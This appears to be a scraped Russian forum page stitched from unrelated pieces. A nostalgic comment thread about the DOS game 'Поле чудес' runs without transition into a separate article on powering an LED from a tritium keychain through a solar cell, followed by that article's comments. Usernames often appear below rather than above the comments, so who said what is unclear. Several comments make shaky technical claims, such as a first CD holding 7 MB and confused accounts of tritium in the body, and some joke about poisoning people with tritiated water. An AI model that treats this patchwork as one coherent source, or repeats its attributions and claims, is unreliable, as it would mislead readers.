rutracker.org/forum/viewtopic.php?t=1956762
Если вдруг кто захотел поностальгировать. Full Version Repack

P.S.: Дмитрий, спасибо вам огромное за эту игру. Это одна из первых игр, в которые я вообще когда-либо играл на PC. Помимо Поля Чудес, помню, были еще Lines и виндовые пасьянсы.
susl
Я — пока готовил статью.
Искал в сети ссылки и скриншоты игры. Ну и заодно уж плюсанул от души. Имена сайтов не помню. Первые пять из Гугл-запроса.
На всех зарегистрировался и на всех плюсы нажал.
PapaBubaDiop
читал запоем))) спасибо за отличный позитивнейший пост и за отличные игрушки времен отрочества))))
gregox
Ах, ностальжи :) Классная статья!
codzor
Вот, действительно хорошая история. Спасибо за позитив.
icc
Игра из детства. Играли в неё с лучшим другом на компьютере бухгалтера ЖЭУ в выходной день, когда никого не было. Спасибо вам за игру!
Hoorsh
Спасибо Вам. Просто спасибо.
ipfw
PapaBubaDiop — болеете за Сенегальскую сборную по футболу?)
Xenkok
Болею за Папу Бубу. Он в составе греческого АЕК полгода назад приезжал в Питер. Лично лицезрел толстого и вальяжного Папу Бубу на Петровском. Зенит выиграл 4-1. Но Папа сделал пенальти в ворота сине-бело-голубых. Впрочем, это кажется не IT-тематика.
PapaBubaDiop
помним как он французам всунул на ЧМ2002)
Xenkok
Статья шедевральна. И хоть в силу возраста(сегодня 23 исполнилось) я не застал всех этих машин и переворотов(ну вернее застал, но еще ссался в пеленки), но от прочтения статьи у меня внутри все переворачивается!!! Это как для археолога найти какой ниб город — он в нем небыл, это все произошло задолго до него, но для него все тама родное.
С компами впервые столкнулся на комп курсах, я не помню что были за машинки(ну уже персоналки), на них стояли 95 винда, какой то офис, в котором нас учили работать, что то типа варкрафта, и внимание… — поле чудес, да да, я с него начал свой компьютерный путь. Это был где то 97 год.
GambiTst
1 000 000 рублей. Все по-честному. Купюрами по 10 карбованцев.
PapaBubaDiop
А сколько купюр 10 карбованцев в 1 000 000 рублей?
darkfrei
У Вячеслава день рождения через неделю…
nadoelo
Тоже играл. Причем недавно (если недавно это конец 20 века)) и на первом моем компе — Pentium MMX :)
Интересно, рейтинг статьи является теперь абсолютным рекордом на хабре или был у какой-то статьи выше?
bigsan
На втором месте. habrahabr.ru/top/all/
Lungo
Спасибо!
bigsan
А вот автор — на первом :)
Serzhenko
Спасибо вам большое за игры тогда. И за эту прекрасную статью сейчас.
Хоть я и не застал ваши игры 90е но в 2000х на 80286 и 8088 наигрался в удовольствие. Вы часть моего детства!
PS так и знал что адмирал жульничает :)
Taoorus
> Выпуская игру я потешил авторское самолюбие вставкой в код своего мыла и домашнего телефона.
В то время у вашего института уже появился интернет и у сотрудников были электронные почты? Это в 1993 году?
Horzerus
UUCP-UUPC никто не отменял, а почта в союзе была и раньше.
У меня к примеру с 92 был ящик на релкоме, через uucp. Первые mail-игры, переписки с заграницей… Ностальгия :)

Автору топика отдельное спасибо. Я был одним из счастливых обладателей копии игры на своём 286 с русской клавиатурой :)
pandas
В нашей конторе почта появилась в 90 году. Mail.ru тогда еще не родился. Но электронные адреса существуют с 70-ых годов.
PapaBubaDiop
Играли всей семьёй в ваши игры, даже и не зная, что у них у всех один автор.
Я очень любил «Морской бой», родители — «Кинг»а, а в «Поле Чудес» вообще играли все и каждый, а уж когда приезжали гости, «Поле чудес» стабильно было центральным пунктом программы на вечер!!!
Спасибо огромное за счастливое детство в нелегкое время.

P.S. А еще, помню, у друзей циркулировала какая-то пропатченная версия «Поле Чудес» с чуть переделанными спрайтами, матерными текстами и прочим тюнингом.
Z0K
Ага, тоже видел эту версию, на первых порах было прикольно, ну как же, все дети, ругаться нельзя, а тут матюгаются постоянно, да и играть в такое родители не разрешают, а раз запрещают значит интересно. А потом все равно в скором времени опять вернулись к обычной версии, ибо мат на самом деле скучен.
tkf
Ну, потому и пишу, что «помню… циркулировала», ведь в итоге действительно все в обычную версию играли.
Z0K
Черт побери! Как же было интересно читать! Спасибо! Не смотря на 756 голосов добавлю вам и свой как только получу возможность.
Sudo
5 баллов за пост. Здорово было прочесть о том, чем в детстве убивался. Спасибо Вам и за морской бой и за поле чудес.
sphinks
Спасибо! Сам в школьные годы (1991) пытался написать «Поле чудес» для УК-НЦ в текстовом режиме псевдографикой (квадратный барабан — это здорово...) Позже, в студенчестве, играл и в «Кинга» вашего, и в «Поле Чудес». Теперь наконец-то узнал точно, что это за тема «сотрудники отд. 08» (хотя я примерно такой ответ с самого начала и предполагал).
dnf
Спасибо!
Aux
Когда я играл в «Поле Чудес» — был ещё совсем маленьким, очень радовался выигрышам и всяким весёлым призам, даже говорил родителям «давайте съездим их заберём» (даже крышку от унитаза, да).
Но Кинг мне потом понравился больше, не знаю почему здесь про него мало кто вспоминает.
Dellirium
Дмитрий, спасибо. Я помню Борландовский компилятор на дискете, я помню икс-тишку, я помню, как заводил 5-МЕГАбайтный сигейтовский винт плоскогубцами (у него шпиндель заедало, но он торчал наружу — ура!), и как тащился от наличия того винта. Я помню первый собственноручно набранный код на бейсике из книжки, исполнение которого я увидел на Искре — клоне ХТ, принесенном папой домой на новогодние каникулы, детишкам посмотреть — 1990 год. Я помню свою первую программу, попытки переписать Нортон Коммандер (я знаю, как будет лучше!). Я ничего не забыл.

Спасибо вам.
arkamax
А не сохранилось случайно фотографий сего чуда, запускаемого плоскогубцами? :)
Zegaldis
Вряд ли… мне тогда было 11 лет, цифровые камеры были только у фантастов в головах, а на пленку снять никому в голову не пришло :(
arkamax
Мне кажется, этих MFM-винтов сейчас должно быть полно во всевозможных компьютерных музеях. У друга был 20 Мб винт, он его раскручивал тыкая авторучкой в шипндель. А на моей XT винт сам раскручивался, без дополнительной помощи!
chernish2
Ни одну художественную книгу с таким удовольствием не читала :)
Автору огромное спасибо, что поделился таким интересным жизненным опытом!
NatalyaRukol
одолел! спасибо огромное, чудесный топик, нахлынули воспоминания. вспомнил 95й год и как сам шизовал в «Поле чудес». была еще чудесная игра, ее к сожалению не нашел, может кто из хабровцев в курсе? звалась она Troika, логическая игра из трех частей. буду премного благодарен, если кто вспомнит. а «Поле чудес» у меня до сих пор осталось на пятидюймовой дискете. вставить только некуда — дома только ноуты. постараюсь победить лень и сваять внешний USB-MFM, если получится — отчитаюсь на хабре. еще раз спасибо за статью! как в прошлое вернулся
harmboy
вы случаем не эту Тройку имели введу?
или имелось ввиду что то от Troika Games.
tkf
да! спасибо огромное!!!
ЗЫ пойду попрощаюсь с мозгом и делами…
harmboy
Супер! Хоть и не довелось поиграть в Поле чудес, и сначала для меня были Денди, затем уже старые процы, но всё равно было полезно узнать историю «пионера» русских игр. Сразу вспоминаю наш класс информатики в школе, где у стены стоял диск такой здоровый, что я вечно пырился на него и представлял как туда пишут информацию…
По поводу топика, слог отличный у автора! Спасибо, с удовольствием прочитал!

P.S. E3 — ежегодно проводится по-моему
skynoname
Изумительная статья :)

Но ободок унитаза на бочку!
Zegaldis
Вадим, спасибо вам за ваши игры! Удалось их «застать» — часы радости на моем первом 80286))
kpower
Спасибо за ваши игры.

Разместил ссылку на ваш топик на dtf.ru
dtf.ru/blog/read.php?id=66218
Libra_by
Фантастика! Прочитал на одном дыхании, спасибо!
p_a
Буду скучен и краток — вы создали игры, которые привлекли больше пользователей ПК чем все современные, вместе взятые )
kyrie


ах, да, еще картинка для ностальгирования )
kyrie
Только благодаря Вашей игре я запомнил дичайшее название столицы Мадагаскара. Спасибо.
solshark
Пост года, давно ничего подобного на хабре не было. Огромное спасибо за историю и за игры!
Minimall
В Cats я играл не помню во сколько лет, как и в «Поле чудес» и King. Очень интересно было прочитать об авторе!
iManiac
Очень не любил вспоминать индекс «Комсомолки» при запуске Кинга.
darkfrei
Его не надо было вспоминать. Он высвечивался на экране запроса пароля в фоновой картинке)
PapaBubaDiop
Эх, уж теплилась надежда увидеть исходники поля чудес… очень жаль, что они не сохранились.
Так хочется взглянуть на сорцы старых-добрых игрушек: поля чудес, dangerous dave 2, принца персии и т.п. Может там ничего интересного и нет, может там дремучий быдлокод, но просто очень интересно взглянуть в «душу» воспоминаниям.

Но даже без исходников, спасибо за статью — играл на слабеньком монохромном ноуте Sharp (386SL @ 20MHz, ой да вот же он) и у меня Арзамас-16 с тех пор крепко ассоциируется с игрой и лишь потом со всем остальным :)
std
Первый раз в Поле Чудес, я поиграл в 2000 году, тогда я жил в городе Наманган (Узбекистан) за 300 км от столицы, техника до наш шла очень медленно и стоила очень дорого. На моем первом компьютере она была самой любимой игрушкой! Огромное спасибо, увлекательнейший рассказ.
Maxim_ka
Моим первым компьютером был pentium-166MMX. И хотя шли такие игры как Age of Empires, KKnD, C&C или Duke Nukem, очень много времени было потрачено в «Поле чудес» и в «Морской бой».
Огромное спасибо за эти игры, и за эту статью!
Burner
Интересная история из вашей жизни!
Помню, как и все кто здесь отписался, эти игры и хочу выразить вам благодарность за них, просто за то, что вы сами объявились и рассказали о себе и о ваших творениях. Не болейте! ;)

sypai
> и появился первый CD диск. Он вмещал целых 7 мегабайт.
Это та самая умышленная опечатка или тоже какая-то очень интересная история?
d1m4
Нет, не опечатка. Это они сейчас по 700 МБ. А первые были именно такие.
PapaBubaDiop
Почему спрашиваю — потому что слышу в первый раз про 7-мегабайтные диски. А ещё в 98-ом году читал книжку и там рассказывалось про красную и желтую книгу, про 650 мегабайт, про суперновые драйвы аж с 4-мя скоростями :)
Может просто туда данных на 7 мегов было записано, а ёмкость по стандарту?
d1m4
Точно помню 1995 год, CD RW — 7 МБ. Но теперь зародились сомнения — вдруг больше можно было записать?
BrerBeer
У вас есть талант писать. Прочиталась быстро и интересно.
Спасибо вам за все игрушки, которые вы сделали =)
Ename
Иногда я задумывался о судьбе людей писавших лучшие игры моего детства, но вот чего не предполагал это что один из них будет писать мемуары на хабре! Спасибо за интересную статью
entaure
Согласен, нам повезло, что у нас есть возможность общаться с такими людьми через столько лет.
i5creen
Надо же! Та самая игра…
У меня было тайное детское желание — действительно попасть по «тому самому» адресу и потребовать мои беруши и держатель для туалетной бумаги =)
Tanzen
Спасибо за игры и топик!
Ах сколько удовольствия получено))
izharskiy
Боже, как же я Вам благодарен за все эти игрушки… сколько лет я в них играл, сколько эмоций они мне подарили! Просто не вмещается в голову, что Вы сделали поле чудес за неделю! Я суммарно по часам проиграл в неё месяц так точно на 386-м!

А морской бой! Сколько было сражений дома и в школе в начале 90-х!!!
Aldekein
Спасибо… просто человеческое спасибо
iago
А я думал что бесконечные купюры — это мой первый баг и в итоге стал тестером.

Спасибо вам за детство!
vdovin_ds
Великолепная история! Спасибо!
Некоторое время назад я публиковал статью о самодельных микропроцессорах, сегодня же мы затронем более сложную и щекотливую тему (особенно в свете событий на Фокусиме) – создание ядерного реактора, способного генерировать энергию в домашних условиях. И перед тем как вы начнете волноваться, вспоминая о негативных опытах в прошлом (см. Радиоактивный бойскаут – наковырявший прилично амерция-241 из детекторов дыма) заранее скажу, что все что описано в этой статье – относительно безопасно (по крайней мере не опаснее работы с фтороводородной кислотой дома), но крайне не рекомендуется к повторению. Перед любыми действиями проконсультируйтесь со своим адвокатом — законы разные в разных странах. Много кто уже сидит.


Какие у нас есть пути создания домашнего ядерного реактора?


Термоядерная реакция

Тяжелый водород (дейтрий) относительно несложно получить и в домашних условиях — всего то нужен многостадийный электролиз обычной воды. Но вот с реактором до сих проблемы даже у ученых, и не первый десяток лет (и это не учитывая, что дейтрий — далеко не самое легкое в использовании термоядерное топливо)

Ядерная реакция деления

В простейшем случае — нужен просто природный уран без обогащения и немного воды (хехе, «Просто добавь воды»: вода — и замедлитель, и отражатель нейтронов). Проблема в том, что надо этого добра сотни тонн, и за вами точно придет доктор, даже если вы 0.1 грамма попробуете найти / купить / унести.

Тут в унынии нам остается обратить взоры в небо, и посмотреть на чем летают межпланетные корабли — там просто кусок радиоактивного материала, который за счет естественного распада нагревается, и элементами пельтье получают энергию. (Кстати естественный распад — собственно главная физическая причина всех бед на Фокусиме — после остановки ядерного реактора в первые минуты за счет распада выделяется 7% номинальной мощности, в первые недели — ~1%, затем падает до 0.1%. Т.е. от 700МВт реактора в первые недели надо отводить 7МВт тепла, и этот процесс не остановить)

Попробуем подумать в этом направлении: Есть 3 основных вида радиоактивного распада:

Гамма-распад

Источники гамма излучения широко используются в медицине и промышленности, в основном на основе Кобальта-60/Цезия-137 (печально известного по ядерным катастрофам). Проблема в том, что излучение их очень жесткое, крайне опасное, и от него и сантиметром свинца не защититься (см. веселое свечение Вавилова-Черенкова справа — выбитые гамма-квантами электроны, движущиеся в воде со сверхсветовой скоростью излучают энергию в видимом диапазоне). Так что обходим их стороной как можно дальше. Ну и кроме того, за нелегальную сбыт/покупку гамма-источников каждый год садится куча людей
PS. Справедливости ради стоит заметить, что гамма-квант в данных случаях выделяется не непосредственно, а в результате распада одного из дочерних короткоживущих элементов.

Альфа-распад

Источники альфа-излучения активно применяются в детекторах дыма, для облегчения зажигания искры, в некоторых радиолампах. Один из наиболее известных — упомянутый в начале Америций-241. От альфа-излучения легко защититься даже листком бумаги, но с ними другая опасность: они чрезвычайно опасны если их вдохнуть/проглотить. См. миф об отравлении Кровавой Гэбней Литвиненко. Кроме того, наковырять количества больше микрограммов нереально, потому о термоэлектрических генераторах придется забыть. А жаль — ведь на основе альфа-распада работают наиболее эффективные генераторы энергии. Самый лучший — Плутоний-238 (Не путать с 239) — отдает 0.5 Ватта тепла на 1 грамм массы, полураспад 87 лет (цена — 1 мегабакс за кило).

Бета-распад

Источники мягкого бета-излучения (в сущности, электроны/позитроны) умеренно хорошо экранируются, и обладают чертовски полезным качеством: при попадании электрона в люминофор можно вызвать его свечение. Ну и как побочный эффект — в большинстве стран мира «безопасные» бета-излучатели достаточно легальны. Чем и пользуются изготовители всяких светящихся брелков, как на первой фотографии. Пожалуй, на основе бэта-распада мы и будем строить свой ядерный реактор.

Основа нашего реактора — капсула с тритием, с небезызвестного сайта DealExtreme — www.dealextreme.com/p/mini-tritium-glowring-keychain-10-year-green-glow-6830. 9.7$. Формально радиоактивные материалы так просто почтой слать нельзя, но DealExtreme про это видимо не знает.

О безопасности

Мягкое бета-излучение за пределы капсулы выйти не может, гелий не радиоактивен. Проблема может быть лишь в случае повреждения капсулы. Если тритий вдохнуть — то заражение будет минимальным, т.к. водород напрямую организмом не усваивается. Но если он сгорит, то вода может стать частью клеток, и тогда вы получите всё облучение, которое может только выжать этот микроскопический кусочек трития. Так что, не ломайте, не сжигайте и не вдыхайте то что получилось.

Итак, Тритий — сверхтяжелый водород, период полураспада 12.32 года. На выходе имеем гелий и очень «мягкие» электроны — 6.5кЭв (+антинейтрино, для ценителей). Энергию будем собирать солнечной батареей, подавать на вход Step-Up стабилизатора MCP1640 — работает до десятых вольта на входе, на выходе — ионистор на 1 Фарад и 5В. В нашем случае нагрузкой будет красный светодиод.


Для того, чтобы собрать как можно больше света, нашу капсулу с тритием помещаем в отражатель из фольги.

Для фокусировки используем 2 линзы по 10 диоптрий, видна солнечная батарея до приклеивания, капсула не установлена.

Подключаем, выключаем свет, ждем минуту для первоначального заряда ионистора, и вот результат:

Первая электроэнергия, произведенная ядерным реактором, созданным в домашних условиях :-)

Халява?

О нет :-) В среднем реактор выдает мощность около 7 милливатт (а через 12.32 года будет 3.5 ), и хоть для светодиода этого достаточно, ноутбук от него не зарядить ) Но с другой стороны, десяток таких модулей вполне сможет держать сотовый телефон в режиме ожидания пару десятков лет :-) Правда цена… Капсула стоит 9.7$, солнечная батарея 5$, линзы 13.8$*2 — уже 42$ за модуль. А за десяток придется отдать 420$… С другой стороны — на сайте есть капсулы побольше — но за 35.

Комментарии/вопросы/мнения — в студию.

UPDATE: Товарищи, поднимаем перевод на английский на Reddit
http://www.reddit.com/r/technology/comments/ggg43/guys_ive_just_built_tiny_nuclear_reactor_at_home/
4dmonster

BarsMonster
Товарищи, помогаем поднять перевод статьи на Reddit: http://www.reddit.com/r/reddit.com/comments/ggew6/building_nuclear_reactor_at_home_from_scratch/

А то апдейт текста статьи не все заметят :-)

BarsMonster
Черд, ну почему до сих пор нельзя редактировать комменты…

Вот так правильно
PDEMON
Костюм когда готов будет?
И Мр. Старк, перелогинтесь! =D
kaasnake
1. Берем ведро воды недалеко от Фукусимы из Тихого океана
2. Покрываем ведро люминисцентом.
3. Окутываем Солнечными элементами.
4. Заливаем свинцом или прочими поглащающими покрытиями
5. PROFIT?
BarsMonster
Кстати, да, водичка от фокусимы с люминофором должна покруче светиться, но там изотопы короткоживущие — будет ярко но не долго :-)
Nico_izo
Накопаем плутония, чо уж там :)
Halt
Зачем далеко ходить. Достаточно скататься до ВУРСа и копнуть немножко землицы. Ну и рыбку в Тече половить.
gufy
а там еще и черенковское излучение, синенькое, надо посмотреть спектральную чувствительность солнечных элементов :))
fleshy
Нет, нейтрино тут совершенно ни при чём.
Chamie
Полураспад йода 8 дней. Так что пока довезем, перестанет светить. Хотя возможно засветитесь вы, если люминисцента выпьете)
MrSteve
Все-таки 8.
SBJoker
Действительно, попутал с примерным временем полного распада.
init_sub
Жду следующую статью:
«Заряжаем ноутбук за 500$ на пару десятков лет»
:))
SBJoker
Пока могу предложить за 60'000$ на 100 лет ;-) (если со своим плутонием — то дешевле)
HomoErectus
а сколько будет весить? пару тонн :))
BarsMonster
60 грамм + обвязка… Максимум пол кило )
HomoErectus
You monster… for science © GLaDOS
BarsMonster
Для работы н атомной станции требуется технически подкованный человек со своим плутонием.
Телефон…
Masterkey
А сколько стоило бы, если бы заряжали из розетки? Может ядерный реактор таки дешевле?
Dim0FF
Конечно розетка дешевле ) Но её в карман не положишь и работает она тогда, когда хочет она, а не Вы )
Robotex
Какое количество Трития необходимо для полноценной зарядки, мобильного телефона? Можно ли его легально достать?
BarsMonster
На развес вероятно без спец. лицензий вам нигде его не продадут. Остаются только такие капсулы. Что значит полноценной зарядки? 7 милливатт * 10, сохраняем энергию в LiIon батарею, и при подключении телефона — быстро туда сливаем энергию. Во время заряда телефон жрет 3-5 Ватт, А это достаточно много капсул чтобы запитать напрямую)
DIDJER
за вами уже выехали ))
BarsMonster
Меня интересует только тритий, его стоимость и где прео…
mihailt
Эммм…
DIDJER
Быстро скрутили, даже дописать не успел.
Shirixae
А может это действительно выход, и может пора изготавливать батареи ноутбуков, телефонов на такой основе.
А то ведь сегодняшние аккумуляторы самая не технологичная начинка в современных девайсах.
e10
Нет, это слишком опасно. Если бы в капсуле был грамм трития — нашлись бы люди, которые делали из него воду, и подмешивали врагам. Смерть без вкуса, без цвета, без запаха… Другие радиоактивные материалы намного опаснее.
HomoErectus
Нее, это не очень сильный аргумент. Сегодня тоже достаточно лекарств и препаратов с таким свойством.
Может надо как-то хорошо «упаковывать», чтобы желающих было меньше.
BarsMonster
Вы так спокойно рассуждаете, как будто очень хорошо в этом разбираетесь. Если да, то обоснуйте, пожалуйста, свою точку зрения. А если нет — то послушайте, что вам говорят.

У нас есть спецкурс на кафедре радиохимии в университете, да и просто по специальности приходится знать: с радиоактивностью действительно шутить очень вредно, можете не сомневаться!
Энергия альфа-излучения и мягкого бета-излучения (как раз тритий) очень близка к энергии химических связей в белках. Так что порвёт «на раз», и это очень опасно, т.к. не поддаётся контролю.
HomoErectus
Пардон, не там скобочки поставил! Это я после статьи: должно быть так:
"… энергия альфа-излучения (как раз тритий) и мягкого бета-излучения очень ..."
VasG
Пора спать, короче.
Пардон.
Всё было верно.
VasG
Зря вы про это сказали…
VasG
Скажите, а сколько из грамма трития можно получить радиоактивной воды, и какая ее доза смертельна для человека? вы имеете ввиду Тритиевую воду?

>«если он сгорит, то вода может стать частью клеток, и тогда вы получите всё облучение, которое может только выжать этот микроскопический кусочек трития»

Кусочек трития? это же вроде газ?
Поясните пожалуйста, каким образом, сгорая, Тритий превращается в радиоактивную воду?

shushu
Да, я имею ввиду тритиевую воду. Тритий — это сверхтяжелый водород. Он как и обычный водород, почти также ведет себя в реакциях, и может заменять собой практически любую молекулу воды в вашем организме. Мгновенно смертельной дозы не получиться — тритий будет сидеть внутри вашего организма, как обычный водород, и светить во все стороны бета-излучением. Мгновенно смертельной дозы нет, она будет накапливаться годами.
Untitled
Вы его вдыхаете/съедаете, и он усваивается как и обычная вода и становится частью организма.
BarsMonster
Извините за занудство, но:
1) что именно я вдыхаю после сгорания Трития?
2) Написано же, что вдыхать не вредно, или это опять 1е апреля?
3) Каким образом, даже теоретически, если я выпью литр сверхтяжелой воды ($300 между прочем, литр стоит, особо не похлебаешь) доза будет накапливаться годами?
Может я конечно ошибаюсь, или опять же 1е апреля у всех, но давайте прикинем: человек потребляет около 2х литров воды в сутки, и соответственно выводит примерно такое же количество. Навскидку с учетом 80кг живого мяса, через пару месяцев, если не подливать вовремя Т. воду у него не останется никакой сверхтяжелой воды, разве что та что естественным образом содержится в природной воде)
Untitled
1) Тритиевую, сверх-тяжелую воду, водяной пар

2) Вдыхать относительно не вредно сам тритий, который химически почти водород

3) 300$/литр стоит просто тяжелая, дейтериевая вода. Её действительно можно спокойно несколько литров выпить. Если выпить тритиевой воды, то тот 1% который задержиться в организме — будет изнутри светить радиацией. И светить будет годы, десятки лет )
BarsMonster
вы хотите сказать, что из Трития можно получить сверхтяжелую воду просто сжигая его?
Untitled
Да, тритий — химически почти на 100% водород :-)
BarsMonster
понятно, спасибо)
Untitled
Естественно, так же как из дейтерия — тяжёлую воду.
BarsMonster
fyi: горение — это реакция окисления, те присоединения кислорода. H2+O = H2O (вода)
Untitled
2H2+O2=2H2O, если точнее.
shogunkub
По третьему пункту — сверхтяжелая вода, получивщись в процессе обычной химической реакции, написанной ниже, попадает в организм и вступает там в огромное количество биохимических реакций. Существенная часть молекул этой воды обменяется атомами трития (чуть не сказал протонами ;) ) со сложными белковыми структурами в клетках, например в костной ткани и тритий останется там на очень долгий срок. Эти атомы, будут участниками термоядерных реакций, выделяя противоестественный в данном месте редкий изотоп гелия и лишая молекулы водородных связей, т.е. важнейших элементов в третичных и четвертичных стрктурах белка, и таким образом нарушая работу клеток. И это без учёта излучения (пусть и мягкого). В общем — это прямой путь в онкологию… IMHO.
А вот вдыхать газообразный тритий не так опасно…
Я всегда в школе удивлялся, почему все мои одноклассники так не любят химию, это же так интересно, а теперь вот пожинаю плоды…
patt
Про «термоядерные реакции» — сильно :) Всё-таки это не термоядерная реация(реакция слияния ядер, которая без большого притока энергии невозможна), а естественный бета-распад — один нейтрон в ядре превращается в протон, испуская электрон и антинейтрино.
Chamie
Ну, а Вы, очевидно, пожинаете те же плоды только «про физику» ;)
Извиняюсь за неточность, а так же за орфогрфию и пунктуацию.
*ушел плюсовать образованных хабралюдей*
zilia
Само собой, большой шанс что он сразу же выйдет естественным путем :-)
shogunkub
+1
zilia
Какая нафиг формула?

2T + O = T2O.

Вода это. Просто вода. Только вместо обычного водорода, там тритий, ядро которого состоит из протона и двух нейтронов. В химических реакциях участвует электронная оболочка атома, которая одинаковая у изотопов одного элемента.
BarsMonster
«Но есть нюанс» (с)

Вода практически полностью обновляется в человеческом организме за месяц. Полагаю, стакан такой воды без вреда для здоровья можно легко выпить.
dlinyj
Ньюанс в том, что если тритий попадет в ДНК все-таки, то при распаде — ДНК разваливается на куски. Последствия — произвольные :-)
Halt
Даже если и так, сомневаюсь что это вызовет катастрофические последствия, кроме гибели клетки.
dlinyj
Это может вызвать катастрофические последствия в случае участия T2O в сперматогенезе, что весьма вероятно у примерно 50 процентов особей. :)
И это только один из сценариев. Неудачный распад в одной РНК может дать непредсказуемое поведение клеточных структур, в том числе производство прионов и злокачественное перерождение.
BarsMonster
Убедили, молчу :)
dlinyj
ДНК восстанавливается, так что очень многое зависит от времени облучения.
zilia
ДНК может восстановить не все типы повреждения.
И разрыв цепочки — самый страшный из них.
dlinyj
Так сколько-сколько стоит убить человека? Можно пошаговую инструкцию?)
keleg
К счастью, киллер пока дешевле, чем тритий :-)
BarsMonster
Странные у Вас представления о счастье ;)
Ronef
Ок, «счастье, что тритий дороже, чем даже киллер». =)
BarsMonster
Если колбочки с тритием итак можно купить, то почему такие люди уже не нашлись? А за цену грамма трития можно нанять просто шикарного киллера.
MAXH0
Breaking news! Вот уже трое суток специалисты пытаются предотвратить ядерную катастрофу, угроза которой нависает над всем миром после падения ноутбука с тумбочки в небольшой подмосковной деревне! Зона отчуждения на данный момент имеет диаметр 35 километров. Правительство России уже эвакуировано в Санкт-Петербург.
Chamie
Эх, если бы из Фокусимы летел только тритий и Плутоний-238 никто бы и не парился :-)
Lici
[grammar nazisamurai mode on]
Мето называется Фукусима или 福島. 福 — фуку (счастье), 島 — сима (остров). Такая вот суровая реальность.
[grammar nazisamurai mode off]
k0rv1n
[zanuda mode on]
Мето

А за очепятками тоже надо следить!
[zanuda mode off]
BarsMonster
Спасибо :) ОВО, однако. Монах Тук может быть доволен.
Halt
Как раз недавно в комментах на хабре обсуждали бета-гальванические элементы :)

en.wikipedia.org/wiki/Atomic_battery#Betavoltaics
Pastafarianist
Такими статьями поднимается рейтинг сайта, в странах 3 мира.
Halt
начнут торговать капсулами за 9$?
Roler
Наконец то реактор дома сделаю :)
xgenom
пожалуйста, не разочаровывайте меня, не говорите, что это — первоапрельская шутка.
HomoErectus
А что прикольно :)… Фонарик на 12.32 года за 42 доллара. Тем кто часто пользуется можно сэкономить на батарейках :)
evlntnt
Трепещите враги — мы можем собирать ядерные реакторы на коленке на досуге.
GearHead
Это просто потрясающе! Настолько круто, что даже не верится!
pratamishus
Уже давно была новость про аккумуляторы для ноутов на бета-излучении. С зарядом на 30 лет при непрерывной работе.

WebMonet
Хехе, «Если всё пойдёт по плану, то сверхдолговечные батареи появятся на прилавках магазинов уже через 2-3 года.» Уже 4 прошло, а их и не слышно :-)
kulakowka
А можно собирать энергию без промежуточной конверсии в свет и обратно?
Ogoun
Я имею ввиду в домашних условиях. Ясно что ампулу придется вскрыть. И столько это даст по КПД?
BarsMonster
Крайне маловероятно. Главное в электроне — не заряд, который можно просто электродом собрать, а «кинетическая» энергия. Если тупо пытаться собирать, то практически все будет уходить в тепло.
Calvrack
Это я понимаю, как раз собственно и спрашивал можно ли легко кинетическую энергию эффективно использовать для создания ЭДС. Например заставить каждый электрон пролетать через 6.5 кВ разность потенциалов, вне зависимости от потребления цепи.
Calvrack
По ссылке чуть выше написано, что да. Электроны енпосредственно заряжают p-n-переходы.
BarsMonster
Для человека, который с Физикой на «Вы», статья про реактор своими руками, да ещё и 1 апреля… Сами понимаете :)
Calvrack
Ммм, а с чего Вы взяли что я с Физикой на «Вы»? :-)
spmbt
Так я на «вы». Для меня, который с физикой на Вы
ableev
Ааа :-)
BarsMonster
После предложения про «сверхсветовую скорость»
ableev
А что здесь не так? :-)
BarsMonster
ну товарищ Эйнштейн с вами не согласился бы
Skilos
:)
Предложение построено так, что создаётся ощущение, что автор понятия не имеет о СТО. «Быстрее скорости света в воде (среде)» — ок, «Сверхсветовая скорость» — ну уж нет.
BarsMonster
Ещё раз перечитал всё — короче сам виноват, вопросов нет))))
fleshy
Слишком много вопросов с этими капсулами.
Пишут и показывают, что фонят они довольно сильно и при этом непонятно чем и почему.
Как скажется для человека ношение такого брелока в кармане, можно только гадать.
talks.guns.ru/forummessage/109/198808-7.html
www.youtube.com/watch?v=jB9cnMOMPPI&feature=player_embedded
www.youtube.com/watch?v=yNNdCZo79hI&feature=player_embedded
Skilos
Палки там конечно конские… Свой я дозиметром сколько ни мерял — не увидел превышения фона.
Skilos
Измеряли чем? Наверняка Ваш прибор просто не увидел излучение с низкой энергией (это то, что измеряется в МэВах и написано в инструкции).
Untitled
Да, более чем вероятно. У такой беты пробег очень уж короткий.
BarsMonster
Т.е. если подозрение на гамма-радиоактивные примеси — то у себя я их не вижу.
ShouldNotSeeMe
А могут теоретически загрязнятся ампулы там где их производят? Какое то должно быть объяснение тому, что на видео происходит.
BarsMonster
Вернее, может ли в Тритий, при производстве попасть, другие примеси излучающие Гамму? Хотя бы теоретически, с учетом особенностей производства?
BarsMonster
Да, думаю вполне возможно, если производство где-нибудь в китайской глубинке.
На нормальном производстве само собой бы сразу заметили.
Untitled
Вот блин, а мне как раз сегодня начали паковать брелок за 9.27… Теперь как-то ссыкотно его использовать
Untitled
Такая же ситуация. Заказал себе, а теперь даже не знаю. Я еще и в боковом кармане штанов ключи ношу, а мне всего 21, не пожил-то совсем…
BarsMonster
Аналогично. Измерял своим дозиметром — превышения фона нет. Разбил (случайно), всё равно нет. Дозиметр рабочий (проверял в самолете — фон повышается).
vkramskikh
А какой фон в самолёте судя по вашим измерениям?
A1MaZ
Если не ответит, то насколько я помню, порядка 200 мкР/час
Rai220
Да, 150-300 микроРентген/ч.
mlurker
А это нормально столько?
BarsMonster
Да, совершенно нормальная солнечная радиация на высоте 10 км (самолет — ТУ 154, но это не важно).

У пилотов в РФ ограничение — 800 часов в год (1 Рентген) как раз из-за радиации. За жизнь профессиональный пилот может получить до 20 Рентген, что уже может влиять на здоровье. Пассажиры могут не думать про это.
Rai220
Не силен в этом всем поэтому возник вопрос. Получается сейчас у вас энергия фактически идет от света, а возможно ли заменить люминисцент около трития на что другое и возможно более энергоэффективное?
darkfrei
Можно напрямую — электроны в полупроводниковую батарею (собственно сама солнечная батарея прокатила бы вероятно). Но тут нужны опасные и сложные манипуляции, обеспечение герметичности… Насколько КПД будет лучше — это еще вопрос.
Rai220
Насколько я помню, именно такие элементы и предлагается делать в промышленном масштабе.
Герметичность то как раз нужна :)
NermaN
Мне крайне нужны эти ваши очень мягкие электроны. Мои очень жесткие и доставляют массу неудобст.
BarsMonster
Натирают? )
Roler
Царапают! =)
pxx
А ещё есть мягкие и жесткие лучи :)
dotsquid
А можно ли использовать какой либо другой фотоэлемент? например какой либо фоторезистор?
Tmix
Нет, генерирует энергию только солнечная батарея (ну и фотодиоды — немного совсем). Резистор — только тратит :-) В данной схеме можно использовать практически любую солнечную батарею, главное, чтобы вся площадь была более-менее равномерно освещена.
